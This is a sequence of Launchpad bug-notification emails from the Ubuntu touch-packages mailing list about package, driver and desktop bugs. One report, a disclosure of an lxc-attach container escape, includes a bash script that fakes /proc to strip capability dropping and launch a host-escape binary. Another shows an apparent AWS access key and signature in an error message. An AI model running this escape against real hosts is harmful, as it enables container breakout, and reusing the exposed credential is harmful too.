apt package in Ubuntu: Incomplete Bug description: N: Ignoring file '20auto-upgrades.ucf-dist' in directory '/etc/apt/apt.conf.d/' as it has an invalid filename extension N: Ignoring file 'getdeb.list.bck' in directory '/etc/apt/sources.list.d/' as it has an invalid filename extension E: The package secondlife needs to be reinstalled, but I can't find an archive for it. multiverse restricted main' #Added by software-properties kimbro-vargas@kimbro-vargas-HP-Pavilion-dv5-Notebook-PC:~$ sudo dpkg --audit The following packages are in a mess due to serious problems during installation. They must be reinstalled for them (and any packages that depend on them) to function properly: secondlife SecondLife client how do I fix it To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1644244/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1619600] Re: [SRU] New stable release 1.8.3
gst-plugins-good1.0 also needs to be updated to incorporate the security fixes from (1.8.2-1ubuntu0.2). Marking as verification-failed until then. ** Tags removed: verification-needed ** Tags added: verification-failed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-bad1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1619600 Title: [SRU] New stable release 1.8.3 Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-bad1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Fix Released Status in gst-plugins-good1.0 package in Ubuntu: Fix Released Status in gst-plugins-ugly1.0 package in Ubuntu: Fix Released Status in gstreamer-vaapi package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Fix Released Status in gst-libav1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Xenial: Fix Committed Status in gst-plugins-base1.0 source package in Xenial: Fix Committed Status in gst-plugins-good1.0 source package in Xenial: Fix Committed Status in gst-plugins-ugly1.0 source package in Xenial: Fix Committed Status in gstreamer-vaapi source package in Xenial: In Progress Status in gstreamer1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Yakkety: Invalid Bug description: [ Description ] We should keep up with GStreamer's bugfix releases in the 1.8 series that 16.04 shipped with. [ QA and testing ] Play a range of videos in Totem. Play a range of audio tracks in Rhythmbox. Try to stream audio and/or video. Try to install a missing codec. In all cases, make sure that everything which worked before still works. [ Regression potential ] One of the fixes could be bad. Watch out for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/1619600/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1436558] Re: package libldap-2.4-2 2.4.31-1+nmu2ubuntu8 failed to install/upgrade: trying to overwrite shared '/etc/ldap/ldap.conf', which is different from other instances of pa
** Changed in: openldap (Debian) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to openldap in Ubuntu. https://bugs.launchpad.net/bugs/1436558 Title: package libldap-2.4-2 2.4.31-1+nmu2ubuntu8 failed to install/upgrade: trying to overwrite shared '/etc/ldap/ldap.conf', which is different from other instances of package libldap-2.4-2:amd64 Status in openldap package in Ubuntu: Triaged Status in openldap package in Debian: Fix Released Bug description: package libldap-2.4-2 2.4.31-1+nmu2ubuntu8 failed to install/upgrade: Versuch, gemeinsam benutztes »/etc/ldap/ldap.conf« zu überschreiben, welches verschieden von anderen Instanzen des Paketes libldap-2.4-2:amd64 ist ProblemType: Package DistroRelease: Ubuntu 14.04 Package: libldap-2.4-2 2.4.31-1+nmu2ubuntu8 ProcVersionSignature: Ubuntu 3.13.0-39.66-generic 3.13.11.8 Uname: Linux 3.13.0-39-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.14.1-0ubuntu3.8 Architecture: amd64 Date: Wed Mar 25 16:48:52 2015 DuplicateSignature: package:libldap-2.4-2:2.4.31-1+nmu2ubuntu8:Versuch, gemeinsam benutztes »/etc/ldap/ldap.conf« zu überschreiben, welches verschieden von anderen Instanzen des Paketes libldap-2.4-2:amd64 ist ErrorMessage: Versuch, gemeinsam benutztes »/etc/ldap/ldap.conf« zu überschreiben, welches verschieden von anderen Instanzen des Paketes libldap-2.4-2:amd64 ist InstallationDate: Installed on 2014-11-23 (122 days ago) InstallationMedia: Xubuntu 14.04.1 LTS "Trusty Tahr" - Release amd64 (20140723) SourcePackage: openldap Title: package libldap-2.4-2 2.4.31-1+nmu2ubuntu8 failed to install/upgrade: Versuch, gemeinsam benutztes »/etc/ldap/ldap.conf« zu überschreiben, welches verschieden von anderen Instanzen des Paketes libldap-2.4-2:amd64 ist UpgradeStatus: No upgrade log present (probably fresh install) modified.conffile..etc.ldap.ldap.conf: [deleted] To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1436558/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1637333] Re: gnome-terminal crashes when tab is dragged onto another tab's terminal area
** Changed in: gtk Status: Unknown => Confirmed ** Changed in: gtk Importance: Unknown => Critical -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu. https://bugs.launchpad.net/bugs/1637333 Title: gnome-terminal crashes when tab is dragged onto another tab's terminal area Status in GNOME Terminal: Confirmed Status in GTK+: Confirmed Status in gnome-terminal package in Ubuntu: Confirmed Status in gtk+3.0 package in Ubuntu: New Bug description: This bug occurs when I drag an existing terminal tab out of the tab bar and drop it onto the text area of the open terminal. Usually occurs by accident, to be honest (when I don't mean to drag the tab at all, for instance) but it's 100% reproducible intentionally. I found several old bug reports on similar issues, but they were either not detailed enough to figure out if they were exactly the same or were closed as duplicates of a bug that no longer exists (https://bugs.launchpad.net/ubuntu/+source/gnome- terminal/+bug/1442826). Apport generated a report (title: gnome-terminal-server crashed with SIGABRT in g_assertion_message()) for me and then helpfully explained that the bug had already been filed. It redirected me to a bug that doesn't exist (https://bugs.launchpad.net/bugs/1595907) though, so I'm refiling it here. 1. Ubuntu release: spyro@julep:~$ lsb_release -rd Description: Ubuntu 16.04.1 LTS Release: 16.04 2. Package version: spyro@julep:~$ apt-cache policy gnome-terminal gnome-terminal: Installed: 3.20.2-1ubuntu3~ubuntu16.04.1 Candidate: 3.20.2-1ubuntu3~ubuntu16.04.1 Version table: *** 3.20.2-1ubuntu3~ubuntu16.04.1 500 500 http://ppa.launchpad.net/gnome3-team/gnome3-staging/ubuntu xenial/main amd64 Packages 100 /var/lib/dpkg/status 3.18.3-1ubuntu1 500 500 http://us.archive.ubuntu.com/ubuntu xenial/main amd64 Packages spyro@julep:~$ 3. Expected behavior: Tab should split into a new window (as it does if you drop it onto someplace that's not a gnome-terminal window). At the worst, it should go back to where it was on the tab bar instead of crashing. 4. Actual behavior: The whole gnome-terminal window crashes, losing any activity or work on other tabs. Other open gnome-terminal windows also crash and close. From /var/log/syslog: Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G Lib-GObject-CRITICAL **: g_object_ref: assertion 'G_IS_OBJECT (object)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G tk-CRITICAL **: gtk_container_get_focus_child: assertion 'GTK_IS_CONTAINER (cont ainer)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G Lib-GObject-CRITICAL **: g_object_unref: assertion 'G_IS_OBJECT (object)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: (gnome-terminal-server:30721): G tk-CRITICAL **: gtk_container_get_focus_child: assertion 'GTK_IS_CONTAINER (cont ainer)' failed Oct 27 14:54:03 julep org.gnome.Terminal[2217]: ** Oct 27 14:54:03 julep org.gnome.Terminal[2217]: Gtk:ERROR:/build/gtk+3.0-j0Vp0u/ gtk+3.0-3.20.8/./gtk/gtkwidget.c:5830:gtk_widget_get_frame_clock: assertion fail ed: (window != NULL) Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Contacts.SearchProvider' Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Documents' Oct 27 14:54:06 julep /usr/lib/gdm3/gdm-x-session[2197]: Activating service name ='org.gnome.Nautilus' I've also saved the apport-generated crash report if that would be helpful to upload. To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-terminal/+bug/1637333/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1643843] Re: Distorted colours after suspend / resume cycle
$ git bisect log # bad: [89e419960fb6a260f6a112821507d516117d5aa1] Linux 4.1.4 # good: [c8bde72f9af412de57f0ceae218d648640118b0b] Linux 4.1.3 git bisect start 'v4.1.4' 'v4.1.3' # good: [e0cf83cc3de0341d8cabbb23097ad85f5ce97a11] drm/qxl: Do not leak memory if qxl_release_list_add fails git bisect good e0cf83cc3de0341d8cabbb23097ad85f5ce97a11 # bad: [9d680e03989324f000596be4862728a7c30f22c1] selinux: don't waste ebitmap space when importing NetLabel categories git bisect bad 9d680e03989324f000596be4862728a7c30f22c1 # bad: [510c99974fdbc18f143c41cbd461c522f5ad7164] tpm, tpm_crb: fix le64_to_cpu conversions in crb_acpi_add() git bisect bad 510c99974fdbc18f143c41cbd461c522f5ad7164 # bad: [8b941a43ea7709111d3cbea2bdfcc678975255da] drm/radeon: only check the sink type on DP connectors git bisect bad 8b941a43ea7709111d3cbea2bdfcc678975255da # good: [0f2bb042f21bdb28f20efcf1ff1c507e2f8b3caa] drm/i915: Declare the swizzling unknown for L-shaped configurations git bisect good 0f2bb042f21bdb28f20efcf1ff1c507e2f8b3caa # good: [1f977d7e942519127aea0a08e9d08437b363cf19] drm/i915: Use two 32bit reads for select 64bit REG_READ ioctls git bisect good 1f977d7e942519127aea0a08e9d08437b363cf19 # good: [7b49262b642511a16699cc63cf2a716739f0c43f] drm/radeon: SDMA fix hibernation (CI GPU family). git bisect good 7b49262b642511a16699cc63cf2a716739f0c43f # bad: [d1a4362d41e4feb52df6464f70fb64f21b894623] Revert "drm/radeon: dont switch vt on suspend" git bisect bad d1a4362d41e4feb52df6464f70fb64f21b894623 # first bad commit: [d1a4362d41e4feb52df6464f70fb64f21b894623] Revert "drm/radeon: dont switch vt on suspend" Just remember that good and bad is inverted, as I was looking for the commit which fixes my colour problem in v4.1.4. For me it fixes more then just the cursor. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1643843 Title: Distorted colours after suspend / resume cycle Status in xorg package in Ubuntu: New Bug description: When waking up the system from a suspend-resume cycle, the display most times shows distorted colours. As a workaround one can switch to the linux console (VT) and back to fix the display. Alternatively triggering DPMS also fixes the problem (xset dpms force off ; sleep 0.1; xset dpms force on) Hardware: 01:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Caicos [Radeon HD 6450/7450/8450 / R5 230 OEM] PCIID: 1002:6779 I've tested Ubuntu Xenial (16.04) with the latest updates: mesa 11.2.0-1ubuntu2.2 xserver-xorg-video-radeon 1:7.7.0-1 linux-image-4.4.0-47-generic 4.4.0-47.68 xserver-xorg-core 2:1.18.3-1ubuntu2.3 I've tried older kernels, xorg, linux-firmware, as a colleague claimed it started for him after some of the latest Ubuntu updates, but couldn't find a working configuration. I also checked Ubuntu Yakkety (16.10), where I couldn't reproduce with XFCE, but instantly with the Unity session, but probably XFCE was just lucky, as sometimes I also had series of working (~5) cycles. Current versions: mesa 12.0.3-1ubuntu2 xserver-xorg-video-radeon 1:7.7.1-1 linux-image-4.8.0-27-generic 4.8.0-27.29 xserver-xorg-core 2:1.18.4-1ubuntu6.1 I'm also going to test Trusty (14.04) to check if it's really a regression. At least I have never seen this problem while running it. ProblemType: Bug DistroRelease: Ubuntu 16.10 Package: xorg 1:7.7+13ubuntu4 ProcVersionSignature: Ubuntu 4.8.0-27.29-generic 4.8.1 Uname: Linux 4.8.0-27-generic x86_64 .tmp.unity_support_test.0: ApportVersion: 2.20.3-0ubuntu8 Architecture: amd64 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: compiz CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0' CompositorUnredirectFSW: true CurrentDesktop: Unity Date: Tue Nov 22 12:21:24 2016 DistUpgraded: Fresh install DistroCodename: yakkety DistroVariant: ubuntu ExtraDebuggingInterest: Yes, including running git bisection searches GraphicsCard: Advanced Micro Devices, Inc. [AMD/ATI] Caicos [Radeon HD 6450/7450/8450 / R5 230 OEM] [1002:6779] (prog-if 00 [VGA controller]) Subsystem: Bitland(ShenZhen) Information Technology Co., Ltd. Radeon HD 6450 [1642:3a75] Lsusb: Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: LENOVO 4524BL8 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.8.0-27-generic root=UUID=4dda3a4b-6e9c-49ba-a969-5d2146f02b60 ro splash quiet vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/16/2012 dmi.bios.vendo
[Touch-packages] [Bug 1640823] Re: [trusty] mount -o loop is limited to 8 loop devices
Thanks for your detailed feedback, I revisited the patch (please see the diff here http://paste.ubuntu.com/23522718/). I think (1.) - (3.) are covered. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1640823 Title: [trusty] mount -o loop is limited to 8 loop devices Status in util-linux package in Ubuntu: Fix Released Status in util-linux source package in Trusty: Fix Committed Bug description: trusty has a very old util-linux which does not yet know about /dev /loop-control to create arbitrarily many loop devices. This feature was introduced in Linux 3.1 already (i. e. before precise even). This is a showstopper for backporting snappy as that needs a lot of loop mounts. Support for loop-control got introduced later util-linux versions, but backporting full support for it (for losetup) is too intrusive. We only need a partial backport for "mount -o loop". SRU TEST CASE: First, use up all default 8 loop devices: $ for i in `seq 8`; do echo $i; sudo losetup --find /etc/issue; done Now try to use a 9th: $ dd if=/dev/zero of=/tmp/img bs=1M count=50 $ mkfs.ext2 -F /tmp/img $ sudo mount -o loop /tmp/img /mnt With current trusty's "mount" package this will fail with "could not find any free loop device". With the proposed version, this should succeed, and "sudo losetup -a" should show "/dev/loop8: ... (/tmp/img)". Now, reboot, disable loop-control with sudo mv /dev/loop-control{,.disabled} and run the test case again. Now "mount -o loop" should fail with "could not find any free loop device" (as before). Ensure that there are no hangs, infinite loops, etc. ADDITIONAL REGRESSION CHECKING TEST CASES 1. Check that every type of losetup call documented in the losetup manpage still works correctly. 2. Check that mount and umount commands that use loop devices still work correctly. REGRESSION POTENTIAL: /dev/loop-control and the corresponding util- linux support has exited for a long time without known/major issues, so this should be fairly safe. Also, the patch falls back to the previous "iterate over loop0 to loop7" behaviour if loop-control is not available. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/util-linux/+bug/1640823/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644287] [NEW] apt-get throwing ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n'
Public bug reported: Description:Ubuntu 14.04.5 LTS Release:14.04 Package:libpython2.7-minimal 2.7.6-8ubuntu0.3 After updated to libpython2.7:amd64 2.7.6-8ubuntu0.3 apt-get update throws the following error W: Failed to fetch s3://XXX.s3.amazonaws.com/repo/dists/stable/main/binary-amd64/Packages: ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n' E: Some index files failed to download. They have been ignored, or old ones used instead. E: Couldn't rebuild package cache Downgrading to the previous installed versions, libpython2.7-stdlib_2.7.6-8ubuntu0.2_amd64.deb and libpython2.7-minimal_2.7.6-8ubuntu0.2_amd64.deb, fixes this. apt-get update runs once again ** Affects: python2.7 (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python2.7 in Ubuntu. https://bugs.launchpad.net/bugs/1644287 Title: apt-get throwing ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n' Status in python2.7 package in Ubuntu: New Bug description: Description: Ubuntu 14.04.5 LTS Release: 14.04 Package:libpython2.7-minimal 2.7.6-8ubuntu0.3 After updated to libpython2.7:amd64 2.7.6-8ubuntu0.3 apt-get update throws the following error W: Failed to fetch s3://XXX.s3.amazonaws.com/repo/dists/stable/main/binary-amd64/Packages: ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n' E: Some index files failed to download. They have been ignored, or old ones used instead. E: Couldn't rebuild package cache Downgrading to the previous installed versions, libpython2.7-stdlib_2.7.6-8ubuntu0.2_amd64.deb and libpython2.7-minimal_2.7.6-8ubuntu0.2_amd64.deb, fixes this. apt-get update runs once again To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1644287/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1619600] Re: [SRU] New stable release 1.8.3
On Wed, Nov 23, 2016 at 03:45:46PM -, Marc Deslauriers wrote: > gst-plugins-good1.0 also needs to be updated to incorporate the security > fixes from (1.8.2-1ubuntu0.2). Marking as verification-failed until > then. I will do that tomorrow, but please note that there are further commits to flxdec that you might want in -security. They fix a crash, not sure if it is exploitable. https://cgit.freedesktop.org/gstreamer/gst-plugins-good/log/?h=1.8 AFL-testing all the remaining elements would be a good exercise, although I bet someone is doing that now. -- Iain Lane [ i...@orangesquash.org.uk ] Debian Developer [ la...@debian.org ] Ubuntu Developer [ la...@ubuntu.com ] -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-bad1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1619600 Title: [SRU] New stable release 1.8.3 Status in gst-libav1.0 package in Ubuntu: Fix Released Status in gst-plugins-bad1.0 package in Ubuntu: Fix Released Status in gst-plugins-base1.0 package in Ubuntu: Fix Released Status in gst-plugins-good1.0 package in Ubuntu: Fix Released Status in gst-plugins-ugly1.0 package in Ubuntu: Fix Released Status in gstreamer-vaapi package in Ubuntu: Fix Released Status in gstreamer1.0 package in Ubuntu: Fix Released Status in gst-libav1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Xenial: Fix Committed Status in gst-plugins-base1.0 source package in Xenial: Fix Committed Status in gst-plugins-good1.0 source package in Xenial: Fix Committed Status in gst-plugins-ugly1.0 source package in Xenial: Fix Committed Status in gstreamer-vaapi source package in Xenial: In Progress Status in gstreamer1.0 source package in Xenial: Fix Committed Status in gst-plugins-bad1.0 source package in Yakkety: Invalid Bug description: [ Description ] We should keep up with GStreamer's bugfix releases in the 1.8 series that 16.04 shipped with. [ QA and testing ] Play a range of videos in Totem. Play a range of audio tracks in Rhythmbox. Try to stream audio and/or video. Try to install a missing codec. In all cases, make sure that everything which worked before still works. [ Regression potential ] One of the fixes could be bad. Watch out for it. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-libav1.0/+bug/1619600/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1639345] Re: lxc-attach to malicious container allows access to host
** Information type changed from Private Security to Public Security -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1639345 Title: lxc-attach to malicious container allows access to host Status in linux package in Ubuntu: New Status in lxc package in Ubuntu: Fix Released Status in linux source package in Trusty: Fix Committed Status in lxc source package in Trusty: Fix Released Status in linux source package in Vivid: Fix Committed Status in lxc source package in Vivid: Fix Released Status in linux source package in Xenial: Fix Committed Status in lxc source package in Xenial: Fix Released Status in linux source package in Yakkety: Fix Committed Status in lxc source package in Yakkety: Fix Released Bug description: A malicious root user in an unprivileged container may interfere with lxc-attach to provide manipulated guest proc file system information to disable dropping of capabilities and may in the end access the host file system by winning a very easy race against lxc-attach. In guest sequence: cat < /tmp/test #!/bin/bash -e rm -rf /test || true mkdir -p /test/sys/kernel echo "proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0" > /test/mounts echo 0 > /test/sys/kernel/cap_last_cap mkdir -p /test/self mknod /test/self/status p cd /proc mount -o bind /test /proc while true; do pid=\$(ls -al */exe | grep lxc-attach | sed -r -e 's/.* ([0-9]+)\\/exe ->.*/\\1/') if [ "\${pid}" != "" ]; then cd / umount -i -f -l -n /proc exec /LxcAttachEscape "\${pid}" /bin/bash fi sleep 1 done EOF See attachment for LxcAttachEscape.c Exploit uses fixed fd=7 for attacking, on other test environment, it might be other fd. Tests were performed by attacking lxc-attach started by screen lxc-attach -n [guestname] which is the sequence required against the TTY-stealing attacks also not fixed in all lxc-attach versions. In my opinion two bugs might need fixing: * lxc-attach should not use untrusted/manipulated information for proceeding * kernel should prevent against ptracing of lxc-attach as it was created in another USERNS # lsb_release -r -d Description:Ubuntu 16.04.1 LTS Release:16.04 # apt-cache policy lxc1 lxc1: Installed: 2.0.5-0ubuntu1~ubuntu16.04.2 Candidate: 2.0.5-0ubuntu1~ubuntu16.04.2 Version table: *** 2.0.5-0ubuntu1~ubuntu16.04.2 500 500 http://debarchive-ehealth.d03.arc.local/ubuntu xenial-updates/main amd64 Packages 100 /var/lib/dpkg/status 2.0.0-0ubuntu2 500 500 http://debarchive-ehealth.d03.arc.local/ubuntu xenial/main amd64 Packages To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1639345/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1370407] Re: pulseaudio should be compiled by default with noice cancelling and echo reduction
*** This bug is a duplicate of bug 1261666 *** https://bugs.launchpad.net/bugs/1261666 This bug is not really a duplicate of #1261666 because all that one fixed was the compiling with webrtc part. Pulseaudio in 16.04 is still not configured by default to enable echo cancellation and just doing the changes to /etc/pulse/default.pa doesn't seem to work as the module fails to load complaining about configuration settings. It would be very nice if this was just a regular part of the distribution and enabled by default out of the box. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1370407 Title: pulseaudio should be compiled by default with noice cancelling and echo reduction Status in pulseaudio package in Ubuntu: Confirmed Bug description: In other OSs either the system itself or the sound drivers provide settings to enable noise reduction and echo cancellation. However in pulseaudio it has to be manually compiled in. It's a feature that should be a standard, and don't come with such a pain to enable, as I believe it would of very useful to provide by default. To implement this a dependency to Webrtc library should be added, as well as a couple of configuration lines: In debian/rules file, go to ~line 57 and add "--enable-webrtc-aec" to DEB_CONFIGURE_EXTRA_FLAGS (say after the --disable-hal-compat option) In debian/pulseaudio.install file and add: usr/lib/pulse-*/modules /libwebrtc-util.so Enable webrtc plugin in /etc/pulse/default.pa: sudo gedit /etc/pulse/default.pa ### Load echo cancellation module load-module module-echo-cancel source_name=echosource aec_method=webrtc set-default-source echosource To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1370407/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1642638] Re: backspace is not working on upright bq e5
omg I cant delete typed letters in browser,messages, anywhere on the standard position of the mobile(power on/off button on top right) because the backspace fakebutton on the touchscreen do NOT works I have 3 workarounds, just flip the mobile and the backspace button works (on 3 positions,if the powerbutton is not on top right) Ubuntu 15.04 (OTA-13) Last updated 14/11/2016 ** Attachment added: "description in pics" https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1642638/+attachment/4782064/+files/broken.jpg -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1642638 Title: backspace is not working on upright bq e5 Status in unity8 package in Ubuntu: Incomplete Bug description: Hi, I bought last week bq e5 ubuntu, just updated the system. have problem with backspace deleting on upright (default position,power button upper right) it does not work on horrizontally it works in both directions on upright buttom up(power button down left) it also works "only" the default position does not work see questions: https://answers.launchpad.net/ubuntu/+source/unity8/+question/404069 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1642638/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 934291] Re: Deleting or stopping print jobs does not work
Here's a patch to add root to the system-groups in the rules file in the debian directory. ** Patch added: "add root to system-groups in rules" https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/934291/+attachment/4782065/+files/934291.diff -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/934291 Title: Deleting or stopping print jobs does not work Status in gnome-control-center: Incomplete Status in cups package in Ubuntu: Confirmed Status in gnome-control-center package in Ubuntu: Incomplete Bug description: Deleting or stopping print jobs through the "gnome-control-center -> printers" menu is not possible. (Black rectangle for stopping can be pressed, nothing happens.) Deleting with cups via webinterface does work. ( http://localhost:631/ ) Please let me know which information to provide. Cheers ProblemType: Bug DistroRelease: Ubuntu 11.10 Package: gnome-control-center 1:3.2.2-0ubuntu1 ProcVersionSignature: Ubuntu 3.0.0-16.28-generic 3.0.17 Uname: Linux 3.0.0-16-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 1.23-0ubuntu4 Architecture: amd64 Date: Fri Feb 17 16:47:32 2012 InstallationMedia: Ubuntu 10.04 LTS "Lucid Lynx" - Release amd64 (20100429) SourcePackage: gnome-control-center UpgradeStatus: Upgraded to oneiric on 2011-12-17 (61 days ago) usr_lib_gnome-control-center: deja-dup 22.0~bzr1290.37~oneiric1 gnome-bluetooth3.2.0-0ubuntu2 indicator-datetime 0.3.1-0ubuntu1.1 To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-control-center/+bug/934291/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1644287] Re: apt-get throwing ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n'
stable is not an ubuntu distribution code name. Can you attach your /etc/apt/* by any chance? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python2.7 in Ubuntu. https://bugs.launchpad.net/bugs/1644287 Title: apt-get throwing ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n' Status in python2.7 package in Ubuntu: New Bug description: Description: Ubuntu 14.04.5 LTS Release: 14.04 Package:libpython2.7-minimal 2.7.6-8ubuntu0.3 After updated to libpython2.7:amd64 2.7.6-8ubuntu0.3 apt-get update throws the following error W: Failed to fetch s3://XXX.s3.amazonaws.com/repo/dists/stable/main/binary-amd64/Packages: ValueError: Invalid header value 'AWS ASIAJ5KTV3ZQHPUKWSAQ:W9GzdJOuZYKf+qYITznWGgYXx9E=\n' E: Some index files failed to download. They have been ignored, or old ones used instead. E: Couldn't rebuild package cache Downgrading to the previous installed versions, libpython2.7-stdlib_2.7.6-8ubuntu0.2_amd64.deb and libpython2.7-minimal_2.7.6-8ubuntu0.2_amd64.deb, fixes this. apt-get update runs once again To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python2.7/+bug/1644287/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1639345] Missing required logs.
